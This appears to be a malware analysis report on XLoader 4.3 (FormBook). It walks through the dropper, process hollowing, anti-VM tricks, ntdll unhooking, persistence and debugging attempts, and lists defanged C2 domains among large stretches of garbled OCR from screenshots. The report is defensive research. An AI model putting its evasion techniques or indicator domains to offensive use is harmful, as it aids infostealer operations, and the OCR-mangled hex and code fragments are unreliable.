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Executive Summary

XLoader, an advanced evolution of the FormBook malware, stands out as a highly sophisticated cyber
threat renowned for its dual functionality as an information stealer and a versatile downloader for
malicious payloads. Noteworthy for its resilient nature, xLoader constantly adapts to the latest and most
intricate evasion techniques, makingit a formidable challenge for cybersecurity defenses. Its notoriety is
heightened by its role as a commercial Malware-as-a-service solution, enabling cybercriminals to tailor
and deploy the malware for diverse malicious activities. The malware's continuous evolution and ability to
elude detection emphasizethe critical need for robust cybersecurity measures to counterits intricate and
multifaceted attacks, which target both individuals and organizations alike.

Key Findings:

1.

10.

11.

Initial Dropper: Xloader uses a similar initial dropper as some of the otherinfostealers like Remcos
RAT and Agent Tesla. The initial dropper is a dotnet executable file, which contains multiple
embedded DLLs which are extracted and decrypted at run-time to launch the payload which is the
actual malware. The payload is launched using Process Hollowing in either itself or another
running process, depending upon the configuration of the initial dropper.

Native Assembly Paylaod: Xloader is written in native low level asm/c language. There are no
strings, imports and libraries found in this payload. Native assembly with the combination of c
language already makes it much harderto analyze and detect than other infostealers like Remcos,
Agent Tesla, NanoCore etc.

Anti-Analysis/VM Techniques: It uses advance techniques that detects if the malware is running
in an analysis environment. The usage of advanced techniques makes sure that, anti-vm checks
are not easily bypassed as simply as patching a jump condition or return condition.

Custom Encryption Algorithms: It uses a Custom RC4 encryption/decryption algorithm with
additional subtraction operations.

API1/String/Libraries Hashing: Xloader uses CRC32/BZIP2 hashing algorithm for its strings, libraries
and APIs to hide its internal working.

Encrypted Core Functions: Xloader’s core malicious functions are all encrypted that are decrypted
at-runtime and assembly is renewed or regenerated after all anti-vm checks have been bypassed
and a key has been generated.

Unhooked Clean Ntdll: It uses a clean copy of ntdll manually mapped into its memory which
bypass all hooks for ntdll APIs. It uses Native APIs for its malicious activities which are hidden from
EDR solutions. This behavioris called “Lagos Island Method” of dll unhooking originating from the
Userland Rootkit of same name.

Persistence: Xloader adds persistence using Run Registry Keys and copying itself in Program Files
(x86).

Privilege Escalation: It escalates privileges only for copying itself in the Program Files (x86) and
adding persistence. The privilege escalation is achieved by abusing DIIHost.exe and COM objects.
Process Injection: Xloader relies heavily on process injection. It infects multiple processes in its
execution and even migrate to a different process.

Decoy C2s: It uses a combination of decoy C2 servers and made significant effort to hide its real
C2.



12. Form Grabber: Xloader is not just an infostealer. It also works as a form grabber. Inline hooks are
injected into multiple victim processes to grab information before encryption is performed.



Overview

XLoader emerges as an exceptionally sophisticated infostealer and form grabber malware, distinguished
by its adept use of advanced defense evasion techniques to maintain stealth and resilience. Beyond its
evasive maneuvers, XLoader incorporates a myriad of anti-VM techniques, strategically avoiding execution
in analysis environments. This malware's primary objective is data exfiltration, achieved through the theft
and capture of sensitive information from a broad spectrum of applications, including browsers, email
clients, FTP clients, and instant messaging apps. Notably, XLoader is designed to operate seamlessly across
a variety of platforms, amplifying its threat level. Its multifaceted attack flow encompasses a strategic and
systematic approach, making it a potent tool for cybercriminals seeking to compromise both individual
users and organizational systems. The constant evolution of XLoader underscores the need for robust
cybersecurity measures to counter its intricate and adaptable nature.
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Threat Report: XLoader 4.3

This section of the report provides a detailed technical analysis of Xloader 4.3 malware. The flow of this
report will be in order of steps that | performed during my analysis. This is one of the most complex pieces
of malware that | have analyzed, and there are so many stages to its execution. | have tried to cover as
much as possible in the given time, but if some things remain unanswered then | apologize beforehand.
Now let us dive down into the technical details and internal workings of Xloader 4.3 previously known as
Formbook infostealer.

Initial Detonation:

Starting with the initial detonation of xloader. | have detonated the malware in my isolated analysis
environmentin the presence of procmon, wireshark and other such analysis tools. Nothing happened!!!
Which likely suggests that there are anti-analysis techniques in the malware. | tried detonating the
malware again but this time, | had renamed my analysis tools and the execution started.

Process tree shows that it started another instance of itself.
Multiple DNS & HTTP request are sent to different domains.
Deleted itself

e Request are sent through explorer.exe
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General Statistics Performance Threads Token Modules Memory  Environment Handles GPU Comment
Hide free regions Strings... Refresh
Baze address Type Size  Protect.. Use Total WS Private Ws £
0x7F550000 Private 4kB RW 4kB 4kB
L1RSIWE TAVK 7 {1 IERRVE nvZEsnnnn Bt 1218 Dy 12kB 128
explorer.exe (2680) (0x77<0000 - — O X 4kB
C:\Windows\System32\en-USthepro. .. 4kB
0 34 6b dé &1 58 3b 05 4c 21 C:\windows\System32\en-US\Action. .. 28 kB
d2 2f 74 3c %c 75 bf §7 62 W 4kB 4kB
d0 30 44 7c 15 df 6F Oc H W ak8 2@
a 2 45 £ c7 W Stack (thread 5608) 56 kB 56 k8
£2 b o ce cd = W Stack {thread 3228) 16 kB 16 k8
09 af 2f 96 =6 7L
712 14 de 3¢ 00 B g2 R 1,000 k8
3 d4 bd 7f df 3d 5 b WX 1,000 kB
16 44 bf 33 cd f= 0d 94 ac 28 W Ttack (thread 6376) 32kB 32kB
f 9f c? Oa d4 16 =1 £8 a7 &d d3 W Stack (thread 5375) 12kB 12kB
28 36 93 76 08 23 77 Oa 51 Of 24 44 W Stack {thread 5295) 24k 24k8 L
dg 2f e9 5d 47 9d 17 e6 Se &7 d3 W 4B 4B
ea 32 &d 52 c7 21 €6 81 c3 3e Ba
30 fa 0d cO €b a5 38 a7 bd 65 db t::: :kk: :::
dé 26 02 c2 bc d2 c7 cé Sh £8 b4
93 73 00 4 71 cf c€ 76 23 7d 93 14 W k8 48
4f 57 76 b7 ee 9b 34 £d 2d bE ee W k8 4k8
9b 2a dd cd 9= 01 le 98 02 74 53 W 4kB 4kB
Za da 01 =d 69 7 77 92 T1 £2 kd W 4kB 4kB
33 7d £1 2e £0 2c 36 2a a3 dd 20 cé W 2kB sa v
£5 b0 fc 2b lb ea 9d 48 3L dc ed
70 ad fb 31 3c 48 67 &d al 11 88
8f b3 92 37 bS5 1d 8f £d d8 bkc 55
Sb b7 99 e9 28 97 56 lc d0 0b 15
39 1d 78 00 &5 c4 b6 73 Tl ae 47 3a £
bd ac b3 15 54 51 2d cc 44 32 fb 12
7 Te 77 53 ee di Sb a0 44 2d 5d 65 59

Re-read Write Go to... 16 bytes per row ~

Few of the resolved domains are listed below:

e hxxp:\\www.twin68s.online

o hxxp:\\www.cicreception2023.org

e hxxp:\\www.morubixaba.com

e hxxp:\\www.gestionamostualquiler.org
o hxxp:\\www.superios.info

e hxxp:\\www.bocahkota.xyz

e hxxp:\\www.lolisex77.top

o hxxp:\\www.fhsbfjbsljsdfsd.xyz

o hxxp:\\www.mifurgoentuangar.fun

e hxxp:\\www.necessarymusthave.shop
e hxxp:\\www.abk-importexport.com

o hxxp:\\www.adoniadou.com

e hxxp:\\www.delret.tech

e hxxp:\\www.humidlandscaping.com

o hxxp:\\www.wlkwinn.net

e hxxp:\\www.8ai.000

e hxxp:\\www.minevisn.com

e hxxp:\\www.moheganmart.com

o hxxp:\\www.jacksonmoddy.com




Stage 1: Dropper

The initial dropper is a dotnet executable. It is similar to what other infostealers or RAT uses for dropping
their payloads like Agent Tesla or Remcos RAT. The first step is always static analysis, which extracts
suspicious strings for me and provide insight to the malware.

No Strings Details

1 System.Reflection Loading assembly at run-time

2 ofnlepyTgnirtS (StringTypelnfo) Inverted strings shows an inverted
ofnldohteM (Methodinfo) resources is embedded inside

3 .edom SOD ni nur eb tonnac margorp sihT! Inverted resource is another binary

(!This program cannot be run in DOS mode)

4 System.Activator Activating assembly at run-time

The extracted strings suggest 3 main points:
e Dropperis obfuscated that loads other assemblies at run-time
e Furtherresources are inverted to avoid signature-based detection
e Must have more than 1 assemblies

In the initial dropper, there is a lot of junk code added to divert the focus of analyst. The few lines of
malicious code are spread through the whole code.




The relevant lines of code shows that malware is loading binary from 3 different resources:

e Quartz whichis also reversed

e \Versa

e Zinc
These 3 are the malicious resources thatare combined and loaded at run-time for further execution. After
going through a lot of junk code, | came across the line of code that resolves this assembly at run-time
and create instance of resource followed by loading the first method using System.Activator class.

Since, stage1 malware resolves assemblies at run-time and activate the method from resolvedassemblies
therefore static analysis is not possible ahead of this step, so | shifted to dynamic analysis.

e The runtime binary that has been loaded can be seen in the modules window.

e The name of runtime generated binary is pendulum. In the code, the malware is invoking the first
member returned by the GetExportedTypes which means the first member of exports would be
executed.

¢ We can locate the first function in the pendulum binary and set the breakpointahead to stop and
debug it.

[]
.GetType("System.Activator™). InvokeMember

100% -

Modules -

ory Order \ i n A AppDomain

There are furtherbinaries being resolved from the resource of first loaded DLL which is Pendulum. In the
modules tab, we can trace which dlls are being added and keep following through.

e Anotherbinary that is being loaded at run-time from the resource of pendulum is the cruiser.dll
which could be seen in the modules window. This binary undergoes gzip decompression and
loaded using Activator class.

e This binary contains a few methods called "CausalitySource and SearchResult" which performs
some kind of decryption of another third resource which will also be loaded on runtime.



StringTypeInfo, InputBlockSize, EscapedIRemotingFormatter)

[1 { stringTy
{ InputBlockSize }

BlockSize });

100% -~

AppDomain
e [1]

U]

0

1

1]

e The last resource that has been decrypted and loaded is called Discompard.dil.
e Inthe method of ParsingState, it could be seenthat a method from this assembly is being called
for further execution of malware.

(array);

methodInfo.In

100 % -
Modules

Process All

Marne Dynamic  InMemory
Mo

Mo

Mo )

Mo [ WMET481RELT
Mo 3 ilt by: MET431REL1
MNao

e Wecan also see thenames of classes and methods that are being called from this assembly in the
locals. Using this information, we can then setup another breakpoint in the Discompard.dil
method and continue debugging the 3rd resource.

e Again, we can explore the third binary and setup a breakpoint on the function that it tries to call.



»

100% -

Locals

returned

We have now entered the method called by the previous dll. This binary is highly obfuscated with random
variable and class names. Normally, what | do is that | check if a deobfuscator like deddot or some other
tool is able to deobfuscate such a binary. If it is possible then | patch the resource and continue my
debugging with the deobfuscated version. But in this case, it is very tricky because this resource is
dependent upon two other binaries that are being called first and to patch all these will be such a
headache. So, | decided to move forward with the obfuscated version and see if | could understand what
it is doing from the local variables and return values.

e | kept stepping over and checking the variables and function returns.

e |t skipped most of the flags but then | stepped over a function and a return value shows that

another binary has been returned. The MZ bytes (4D 5A) could be seen in the array.

Value

returned

e It confirms that this malware might perform some kind of injection or dump the binary in a file
and execute it as a 2nd stage malware.

¢ |steppedintoa functionthat is obfuscated butit looks like it is performing process hollowing, as
the malware opens itself in a suspended state and ready to inject in the address space of this
process.



, numd + 8, nums, 4, num);

% Process Hacker [DESKTOP-002IHON\shaddy]+ (Administrator)
acker View Tools Users Help
“Z Refresh (3 Options ‘ 8 Find handles or DLLs 4% System information | OE X formbook x

Processes  Services Metwork Disk

Mame PID CPU /O total.. Private b., User name Description
~ i, dnSpy-x86.exe 4704 010 37435MB  DESKTOP-002IHOM\shac dn5py-x86
—
formbook.exe 2624 43.97MB  DESKTOP-002IHOMAshac

e Stepped over few of the functions while checking RWX memory region of the process

At one point it reserved the memory and then started writing shellcode into that memory in
chunks

e It changes the execution of base image to the injected shellcode and finally resume the process
using ResumeThread API.

Hacker View Tools Users Help

998 7 Refresh (i Options | & Find handles or DLLs  5¢% System information | (] [ % formbook x

Processes  Services Network  Disk

Environment  Handes  Job GPU Disk and Metwork  Comment
General  Statistics  Performance  Thresds Token  Modules  Memory

Hide free regions Strings. .. Refresh
ZHEE | Name PID  CPU I/Ototal.. Privateb.. Username Description
Base address Type Size Protect... Use 4704 008 37789 MB DESKTOP-D02IHON\shac  dnSpy-x86
 0x400000 Private 188k8 RWX 2624 44,04 MB  DESKTOP-002IHOM\shac
0x400000 Private: Commit 188k8_RWX
0%c50000 Tmage SBKB WCX Cilsers|
0xce0000 Private 12818 AW
0xd00000 Private | @5 £ormbook.exe (3720) (0x400000 - 0x427000) - O x
0xd10000 mapped
0xel30000 Private | 0000000 B sa 45 52 =8 00 00 00 00 59 83 =8 05 8b 9 83 ~
0xd70000 Mapoed| 90000010 0 3c &b 00 03 cl 83 0 26 03 08 ££ =1 %0 00 09).
0xd80000 Private | 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0%e00000 Private | 00000030 00 00 00 00 00 00 00 00 00 00 00 00 <O 00 00 00
0x1000000 Private | 00000040 O Lf ba O 00 b4 09 cd 21 b8 01 4c cd 21 54 68 Th
0x77930000 Image | 00000050 63 73 20 70 72 6£ €7 72 61 €d 20 €3 €l ée e 6f|is program canno
0377550000 Mapped| 00000060 74 20 €2 65 20 72 75 6e 20 €9 e 20 44 4f 53 20|t be run in DOS
xIFSa0000 viapped| ¢ &d € €4 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00|mode....
[ 20 b1 1c 6C cl £5 7d 02 92 £5 7d 02 92 £5 7d 02 92|..1..}..
0x7ffe0000 Private | 90 d2 bb cd 92 £6 7d 02 92 d2 bb c £4 7d 02 92
0x7ffe5000 Private | ogo00an d2 bb ce 92 £4 7d 02 92 52 €9 €3 62 £5 7d 02 82
0x7fff0000 Private | 0 b0 00 00 00 00 00 00 00 00 00 00 00 00 00 0O 0O 00

0x7ffff2ed0000 Image 0

c 50 45 4c 01 01 00 £9 3£ a3 3a 00 00 00 00

0 d0 00 00 ®0 00 02 01 OB 01 Ob 00 00 d4 02 00f.....
0000000 00 00 00 00 00 00 00 00 0 12 00 OO OO 10 0O 0O

0 0z 40 00 00 1 0 00 02
00000100 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 O0)eeeeeeennnnnnnns
00000110 00 £0 02 00 00 02 00 00 00 00 00 00 02 00 40 81 I

e This is the exact behavior of process hollowing.
e | dumped this shellcode to analyze the malware separately as a second stage payload.
e The stage2 malware is the real xloader payload.

Stage?2: Xloader 4.3

Xloader is an infostealer malware thatis the updated version of Formbook malware. Itis sold on dark web
for cheap prices with a MaaS$ architecture (Malware-as-a-Service). The authors of this malware put great
effort in adding latest defense evasion techniques.

e Xloader aka Formbook is written in pure native assembly with a combination of c language
e The entropy is very high which suggests that there is embedded code or it might be packed
e There are 0 libraries, imports, strings found in this payload

e There are no valid strings other than the DOS message



property value
- indicators (rich-header > checksum > invalid | (o o1 ini o chasse E62F64CEAG60RADTD3B7F76BE42E66DEE33 18004
""" :; ffl'jlt‘: !::.(:..D::t = first-bytes > hex 4D 5A 45 52 E8 00 0D 00 00 56 83 E8 09 88 €883 ¢
> dos-header (size » 64 bytes) f!rst-b],.r‘tes:-text MZER oMo € (e
B8 dos-stub (size > 128 bytes) file > size 183952 bytes
----- > rich-header (checksum = invalid) I Entropy 7.950
.. ' file-header (executable > 32-hit)
----- > optional-header (subsystem = GUI) tooling Visual Studio 2005
_____ £ directories (empty) file-type executable
> sections (count > 1) cpu 32-bit_|
oy subsystern GuUl
stamps
compiler-stamp Meon Mar 05 07:27:533 2001 | UTC
strings (count > 3819)

e The start of malwareis fairly simple, it loads some necessary libraries before goingto the malicious
code

e [talso performs some other kind of computations, probably decompressing some of its malicious
code

e After the calculations, | came across a call to edx which leads to an unidentified code

J ¥ ¥ Process Monitor - Sysinternals: www.sysinternals.com
File Edit Event Filter Tools Options Help
»text:@85E17AE
.text:@B5E17AE loc_SEL7AE: ra @' | .| | g | e ~ bed
_text:@BSE17AE mov edx, [ebp+var_48] | (] D\) Y © ﬁ!ﬁ p B~ g o W
-text:@885E1781 push edi Time ... Process Name FID  Operation Path Result
‘:E“:MSENB;Z xor o 1452 <2 Process Stat SUCCESS
.text:e85E1784 mov ecx, BEgh ; '&
_text:@@SE1789 lea edi, [ebp+var_3Ce] 1452 2 Thread Create SUCCESS
text:@B5E178F les — [Ed)(+215E9h] 1452 ¢#2Load Image C:\Users'shaddy'Desktop'dump exe SUCCESS
o e R, o it 1452 ¢ Load Image C\Windows"\System 32\ntdll dl SUCCESS
I I 1452 ¢ Load Image C:\Windows\SysWOWE4 \ntdll dl SUCCESS
TERTTTESEITCIFTE S— 1452 E-u QueryNamelnfo...C:\Users'shaddy\Desktopdump .exe SUCCESS
text:@85E17CA or e, 1452 PCreateFiIe C:\Users'shaddy'Desktop'\dump exe SUCCESS
text:@85E17CC mov esp, ebp 1452 PCreateFlIe CAWindowsSystem 32\ntdll dl SUCCESS
.text:@85E17CE pop ebp 1452 PCreateFlIe CAWindows\SysWOWE4 \ntdll dl SUCCESS
_text:@85E17CF retn 1452 'r CreateFile CWindows SUCCESS
1452 ¢2Load Image CAWindowsSystem 32 wowE4 dll SUCCESS
1452 'r QueryMamelnfo...C\Windows\System 32 wowE4. dll SUCCESS
1452 'ry CreateFile CAWindowsSystem 32 wowE4 dll SUCCESS
1452 ¢ Load Image CAWindows\System 32wowE4win dll SUCCESS
1452 “w QueryMNamelrfo...C\Windows\System 32 wowbdwin dll SUCCESS
1452 'wu CreateFile C:\Windows\System 32\wowb4win.dll SUCCESS
,1809) (450,102) 000017CT 0O0SE17CT7: start+4E7 (Synchrg 1452 T CreateFile C\Windows\System32\wowb4log dil NAME NOT FOUND
1452 'w CreateFile C\Windows SUCCESS
1452 'w GQueryMNamelrfo...C\Windows SUCCESS
3B EC 8B 4D @8 33 Co 1452 'ps CloseFile C\Windows SUCCESS
20 3C 98 80 75 F9 40 1452 ¢®Load Image C:\Windows"\System 32wowB4dcpu dil SUCCESS
80 83 C4 OC 5D C3 12 1452 ‘w GueryMamelnfo...C:\Windows\System 32\wow64cpu dil SUCCESS
8B EC 53 56 57 33 FF 1452 ?CreateFiIe C:\Windows \System 32wow64cpu dil SUCCESS
e 2B F2 84 82 3C 1452 gy CreateFile Ci\Users'shaddy'Desktop SUCCESS
76 B4 3C 61 72 29 8A 1452 E‘;’.Load Image CAWindows SysWOWE4 \kemel32 dI SUCCESS
23 BF B6 C8 @F B6 C3 1452 'ps QueryMamelnfo...C\Windows \SysWOWES \kemel 32 dIl SUCCESS
1452 'ry CreateFile CAWindows SysWOWES kemel32 dI SUCCESS
1040- sub SE1030+10 1452 ¢2Load Image CAWindows SysWOWE4S \KemelBase dll SUCCESS
= 1452 'm QueryMamelnfo...CAWindows SysWOWE4S \KemelBase dll SUCCESS
v 1452 'ru CreateFile CAWindows\SysWOWE4S \KemelBase dll SUCCESS
aded C:\Windows\System3Z\wowbdcpu.dll
aded C:\Windows\SysWOWG4\KERNEL32.DLL
aded C:\Windows\SysWOWG4\KERNELBASE.d11




e The "call edx" instruction moves the program flow to a set of native assembly which is
unidentified by IDA at this moment

e This means that, the code to which edx register now points was not understood by IDA which
indicates that it might be encrypted at first

e From there the execution of real formbook payload starts
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dd

9F663DC1h, 3978DB6Bh, 33836615h, B4F18886h, 7B992D@lh, GE3C385%9Ah, @
8B55C358h, @FD7BASECh, 467B15C1lh, 88B7D392h, 1D@312F4h, 825B1683h, 63S5EDIBEh
9A@D358Bh, ©C2186547h, BEBC3EAADh, @, BBS55C358h, 9D2D19ECh, JCBI49C3h
7C3569F8h

@E1581FBeh, 7Feeea27h, 7F2D69ECh, @F82FE3B6h, 300088D07h, GEAB3@805h
B8DD25C181h, @B946C182h, @C6993523h, 33427E94h, @AC@3352Dh, 343DCealh
4DE5S18C3h, 47CABD28h, @C@4135E5h, BESRELASh, 350155CDh, 892A51D%h, 5E6625CLh
8122391Ch, 46F2D5F%h, 353D2393h, 8BBBVDS5h, 6D6LCELSh, 16158768h, @AB9341D5h
1ACI1EAB1h, 3532F@45h, B8C99FE2Ah, 51@@eDCeh, @C19FFBFFh, 21A8FC1Dh, 19BEDFFSh
2163@38Bh, 7C37353Dh, 953D2954h, 4ABASAGFh, 3EF32D@Bh, 25@3AEE7h, 84D0934BDh
27F9DEASh, @E@3DC@93h, 3342B71Ch, @DFC4FESLlh, @ESC3D86Ch, @, 8BS5C358h
BFAEB4BECh, 81FFFFFFh, 9C74E8DBh, 25C19846h, 18D6CF3&h, @ABDCSE48h
3B1AB7BAh, 27851174h, 4A1CC476h, 13DA73A6h, B@A4E9732Dh, 1D1A524Bh, S8E@891Ch
44682D6%h, BE77841C5h, 205ae@88h, ICF2C7@Ah, 143CesCeh, @B7861BDh, 4F5@952Dh
61D0872%h, @ESEDASDBh, @FFFFFFASh, B175E815h, 3DB94A32h, 79E11D66h, BAAGI8565h
459F4154h, 1DC1@@88h, 2799628Ch, BC635@85Fh, 1C99@5Fh, 7192EB25h, 2DCAS7ESh
BEACOB3BGh, @BC2D13DFh, @ES285549h, BFFFFFF6Sh, 1EES@DA3h, 838F3379%h
BFFFFFFsSDh, 17738587h, 358AD331h, 433B4722h, 8@833588h, 2D1B6ASEh, SA45B1CSh
94C2F75Fh, @BB&79EL1Sh, 2D87AEF2h, 348A8016h, 6E71528h, 3D1B45C7h, 3F6DI86DH
BFF23818Fh, @FC81FFFFh, @FE4E6671h, 621125C1h, @CA1EF6F2h, 8868F625h
3D194965h, 3DCAB925h, BFEFF25C1h, 38224A23h, 14DCE6BSh, 58D1A25h, @C1FCEB38h
AGFC872Dh, SAS@8FAAh, @F9553735h, @CD2D874lh, @FBeB436h, @FFFEDCS1lh

7168FFh, 1DC11331h, BF7C58F83h, 293511CDh, 29B79818h, 56D68DEDh, @FD1533B3h
AFAATF28h, 73E3858Ah, 15C14728h, 2CC1B792h, 3D3DC111h, 3427939Bh, @C1F83D23h

00022ZDE4 00€02DE4: .text:00€02DE4 (Synchronized with EIP)

|@ Hex View-1

Ba5E 1866
BasE1@16
BASE1826
BasE1838

SEl@48
Ba5E1856
BA5E1866

55 8B EC
48 38 3C
B8 a8 83
55 8B EC
5A 76 24
74 23 @F

86
B8
c4
53
2B
3C
B6

4D @8 33 (@ 38 @1 74 @B 8D 64 24 8@ U<i<M.3AS.t..d%.
@@ 75 F3 48 5@ FF 75 @C 51 E3 @E @@ [@€<..ul@Pyu.Q&..
@C 50 C3 12 AA 28 11 9A E3 4F 63 8D ..fA.]R.2(.Z30c.
56 57 33 FF 39 7D 18 76 4F 8B 55 @8 U<iSVW3ya}.vO<U.
F2 BA 82 3C 41 72 35 3C 7A 77 31 3C (u.+d5.<Ar5<zwl<
61 72 29 8A 1C 16 3C 5B 73 11 3A C3 Zv.<ar)5..<[s.:A
€8 BF B6 C3 83 C1 20 3B C8 EB 14 38 +#.9E.9AFA-;E&.:

e IDA resolves this chunk of assembly at run-time to continue debugging this dump.
e This is one of the many anti-analysis techniques added in the xloader payload.

.text

.text:B85E17BF
:BB5E17CS

:BB5E1TCO
Ltext:Ba5E17CA
Ltext:eas3e17CC
text:Ba5E17CE
Ltext:Ba5EL/CF

lea

pop

Xxor
mon

pop
retn

edx, [edx+215E8h)

® Please confirm *

IDA has detected that EIP points to
an address which is not defined as code.
Would you like to directly create an instruction at EIP 7

[] pon't display this message again

Yes No

After going through the newly resolved chunk of code, my program exited without doing anything else. |
understood that there are anti-analysis techniques involved in this malware. So, my battle started with
defeating anti-analysis techniques provided in the section below.



Defeating Anti-Analysis:
TAKE # 1: FAILED

e In first take, I simply changed the jump condition to divertthe program from exiting the malware
to continue with the actual program flow

e Changedthe zero flag from 1 to 0 which sets the condition appropriately to let the program
continue

BEHie-3-idMmE & 3 | @ okl - X[ » 0 O locelWindowsdebugger | %] )¢ & B B rE ar.
L » B aLs
4
s e | | i | i | : g
o P p——— e — ] p—— Time ... Process Name PID Operation
ibrary function egular function [l Instruction 2 nexplore xternal symbol uming function -
! ° v dump .exe 4004 % Thread Create
Debug View B ® Structures B E Enums B dump exe AD04 G CreateFile
dump exe 4004 s QueryStandard
IDA View-EIP 0 & x |{ Generalregisters 0O & x dump exe 4004 ' ReadFile
.text:@@5FFD1@ call  sub_SEBF13 Y| P —— o o dump.exe 4004 CloseFile
text:985FFD15 add esp, 18h VIP 8 dump exe 4004 e CreateFile
: . o EBX @9E53000 L TIE[000G1724] :00E53660 4 4004 4 QueryNamelrf
| fext;GASFFDIZ test g1, g1 e jump exe fa QueryNamelnft
|E1P Il premwarrrr=ryyy iz short loc SFEDIC ] ECX @10FEBC2 & Stack[00001724]:81BFEBC2 e o dump.exe AD04 % CloseFile
text:@O5FFDIC lea edx, |ebp-EALEn] EDX 00000006 e dump exe 4004 ¢ Process Start
.text:B85FFD22 push a ESI @B5E12E@ % start RE B dump exe 4004 cc:ThreadCreate
-Text:085FFD24 push :d" . - - | EDI @10FFB18 Y Stack[@0091724]:016FFB13 NT B :::::: 4004 ‘?E:: m:g:
+text:B@5FFD25 mov word ptr [ebp-23Ch], 4cB486h B10FE700 Stack[@0001724] : 616FF700 IOPL @ 4004 <%
.text:@BSFFD2F call loc_5F@143 EF b Stack| I: o |l dump exe 4004 E”Load Image
text:@BSFFD34 add esp, & ESP @10FECA@ & Stack[00001724]:81BFEC4D = o dump.exe 4004 o QueryNamelnf:
.text:@@SFFD37 test  eax, eax ETP @BSFFDLA b .text:@05FFDLA F o1 dump exe 4004 s CreateFiic
|- < |-text:885FFD39 jnz short loc_SFFD4E EFL 220009246 TF B dump exe 4004 e Createfile
.text:@@5FFD3B lea eax, [ebp-@ACeh] E g dump exe 4004 & CreateFie
.text:@BSFFD41 push eax [Tze af]'150 ?G!UmDElE 4004 ' CreatefFile
.text:@@5FFD42 call  loc_S5FB183 il . 4004 ¢2Load image
.text:@OSFFD47 add esp, 4 odify value.. 4004 2 QueryNamelnfc
.text:BOSFFD4A test  eax, eax Zero value 0 4D04 4 CreateFie
2 |.text:@85FFD4C jz short loc_SFFDSF — 5 4004 <2 Load image
! |.text:@@SFFD4E oggle value Pace 14004 s QueryMamelnf:
| |-text:BBSFFD4E loc_SFFDAE: ; CODE XREF: .text:! p— Increment value + 4004 7 Createfile
[ ™" |-text:eesFrDat lea ecx, [ebp-BACEh] S Threads =0 Y —— 1 4004 Fgreale?:e
: 1 4004 s CreateFile
b o PSR ey O Decimal  Hex  State Name 00 O i
1 % | text:@BSFFDS6 push  ecx Copy 4 QueryNamelrfc
: X X 5924 1724 Ready dump.exe | 4004 ' CloseFile
0 0001FD24 00SFFD24: _text:005FFD24 (Synchronized with EIP) v 2184 388 Ready 77645940 ont... 4004 co.Lnad \mage
+ £ > T150... | 4004 s QueryNamelnfc
11:50:.. 4004 ' CreateFile
[&] Hex view-1 O &8 x Modules O & x| [0 Stackview 1150 4004 5 CronteFi
pasEleee 55 BB EC 88 4D @8 33 (@ 38 81 7 A || path ~|[p10 ©10FEC48 11:50 4004 ¢ Load Image
pasE1ale 48 8@ 3C 8 @@ 75 FO 48 50 FF 7¢ . sl " 16 B1BFEC44 11:50:.. 4004 e QueryNamelnfc
pesE1926 B0 BB B3 C4 ©C 5D €3 12 A4 28 1. || 20 CrisersishaddylDeskionidump.exe 010 0ERO00RE 11:50 4004 T CreateFile
0sE1838 55 8B EC 53 56 57 33 FF 39 7D 1 +Windows \SystWOWE4IKERNEL 32.DLL 010 BEEEAAEC 11:50 4004 2 Load image
loasE1048 B4 28 F2 84 @2 3C 41 72 3¢ C:\Windows \SysWOWE4\WERNELBASE . di la1al FFFFFFEF 11:50.... W 4004 :-QueryNamelnl:
@05E1850 5A 76 ©4 3C 61 72 29 BA 1C 16 3( +\Windows \System32\wows4epu. di v 010 @OSELIDE3 .text:@OSEIDE3 11:50: W- dump exe 4004 T CreateFile
00001040 005E1040: sub_SE1030+10 v > UNENOWN 010FEC40: Stack([( (Synchronized wit v
< > < >

It continues the program, however it throughs exception right after stepping over a few functions.
This patch will not work
e The malwareis dependent upon the values that this flag is setting somewhere

wt:@B5FFD42 call loc_5F@183

wt:@B5FFD47 add esp, 4
wt:@85FFD4A test 2ax, eax
xtL:@85F .

Warnin X
wt:@B5F * g 3
w885k B
wt: BASF -_ 0: The instruction at Ox0 referenced memory at Ox0. The memory could not be executed -> 00000000 (exc.code cODODOD3, tid 5924) l
xt:B85F A
xt:005F
1FD1C 0




TAKE # 2: FAILED

The configuration object:

e Xloader payload initializes a configuration object on which it bases most of its execution flow
e The configuration objis initialized with FFFFFFFF value and after that each function contributes to

it.
e Some encrypted values are pushed onto this configuration object.

Debug View & Structures [£ Enums
IDA View-ETP Pseudocode-A, Hex View-1

[ Pseudocade-A O & x ||@ Hexview-1 O &8 x

AB EC BF @1 A4 EC BF B1 0G0 B8 02 B8 BC BA 8B B8
5 e

L
90 00 00 00 Q0 00 00 0O 00 00 00 90 00 00 00 00
90 00 00 00 90 OO 00 OO 00 60 00 00 00 00 00 00
B0 G2 G0 0B 22 0B BE OB 00 PG 00 PO 00 Be ©0 BB
WORD ')a, = -1; 14 Initializing (aniguratiun Dbje(t with FFFFFFFF value B0 60 20 00 90 0D BB 00 @0 00 00 B0 00 Be @0 BB
"DWORD *)(al + 28) = sub SFCF13(al)s /4 Push encrypted strings or hashcodes onto conf obj. Alsc saves nt|| 80 00 @0 00 @0 00 60 00 00 60 00 00 00 0@ 00 80
sub_SFCDE3(al); 90 00 00 00 Q0 0P 00 0O 00 00 00 00 00 00 00 80

*)(al + B) = vi; 82 00 00 G0 B3 0D PO 0B 00 0B 00 6P 00 00 00 B8
) 90 GO B0 0O B3 0D B0 06 00 GO 00 GO 0O 6O 00 68
90 60 80 00 B0 0O B0 06 00 0O 00 B0 00 6O 00 B9
)(al + 56) = sub_SEB9E3() > 768; 90 00 B0 00 B2 0D 00 0O 00 0@ 00 0@ 0D 6O 0D 09
3 = sub SF95A3(al, 115); 90 00 00 00 B2 0D 00 OO 00 0@ 00 00 0D 0O 00 88
if ( sub SFF9F3(v3) ) 82 00 00 G0 B3 0D PO 0B 00 0B 00 6P 00 00 00 B8
90 GO B0 0O B3 0D B0 06 00 GO 00 GO 0O 6O 00 68
*)(al + 188) "= *(_DWORD *)(al + 4); 90 60 80 00 B0 0O B0 06 00 0O 00 B0 00 6O 00 B9
18 “)(al + 55) = 13 90 00 B0 00 B2 0D 00 0O 00 0@ 00 0@ 0D 6O 0D 09
19 90 00 00 00 B2 0D 00 OO 00 0@ 00 00 0D 0O 00 88
20 sub_SFFE33(al); 82 00 00 G0 B3 0D PO 0B 00 0B 00 6P 00 00 00 B8
21 RD *}(al + 12) = vd; 90 GO B0 0O B3 0D B0 06 00 GO 00 GO 0O 6O 00 68
22 tva 90 90 80 00 B9 0P @0 0P 00 0@ 00 ©A 00 6O 00 09
